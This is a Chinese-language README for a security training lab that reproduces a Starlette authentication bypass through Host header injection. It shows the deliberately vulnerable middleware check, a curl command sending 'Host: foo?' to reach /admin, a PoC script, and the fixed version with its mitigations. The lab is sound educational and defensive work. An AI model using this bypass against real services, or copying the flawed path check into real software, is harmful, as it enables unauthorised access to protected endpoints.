一个自包含的容器化培训实验环境,用于复现由 X41 D-Sec 披露的 Starlette 认证绕过漏洞。
>= 0.8.3、< 1.0.1(实验环境固定使用 0.37.2)1.0.1⚠️ 仅供授权的安全培训使用。 本应用刻意包含漏洞。请勿将其部署到任何可访问的网络中。
Starlette 使用原始 ASGI scope["path"] 将请求分发到路由,但在重建 request.url 时,它会将客户端提供的 Host 头以字符串格式化方式拼接到 "{scheme}://{host}{path}" 中——且未根据 RFC 9112 §3.2 对 Host 头进行验证。由于 URL 元字符(?、/、#)可以原样通过,攻击者可以使重建后的路径与路由所用的路径不一致。任何基于 request.url.path 编写的安全检查都可能被绕过,而路由器仍然能够访问到受保护的处理器。
存在漏洞的中间件仅当 request.url.path 为 / 或为空时才放行请求:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
对 GET /admin 发送 Host: foo?:
| 组件 | 使用的值 |
|---|---|
路由器(scope["path"]) | /admin → 分发到 |
? 会将其后的所有内容变成查询字符串,因此解析出的路径为空。认证逻辑看到路径为空便直接放行;而路由器仍然会处理 /admin。绕过成功。
需要 Docker 与 Docker Compose。
docker compose up --build
将启动两个服务:
| 服务 | URL | 行为 |
|---|---|---|
vulnerable | http://localhost:8000 | 可绕过 |
fixed | http://localhost:8001 | 已修复(双重防护) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
或者运行引导式 PoC 脚本:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
存在漏洞的 /admin 处理器返回的 JSON 响应体让这种混淆清晰可见——请注意 scope_path 与 reconstructed_path 之间的不一致:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
参见 fixed/fixed_app.py。这里采用了两种相互独立的缓解措施:
request.scope["path"](即路由器所使用的同一条原始路径)做出认证决策,而不是基于重建后的 request.url.path。TrustedHostMiddleware 会在任何应用逻辑运行之前拒绝意外或格式错误的 Host 头,这与符合 RFC 规范的反向代理(nginx/Apache)在上游所做的行为一致。实际部署中的修复方式很简单:升级到 Starlette ≥ 1.0.1,该版本会在 URL 重建过程中验证 Host 头。
redirect_uri、缓存键、由 Host 构建的密码重置链接。)/admin)比“基于路由端点做决策”更脆弱?如果路由不区分大小写,或存在尾斜杠重定向,又会怎样?0.0.0.0-day。)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
admin()request.url | http://foo?/admin |
request.url.path | "" → 通过认证检查 ✅ |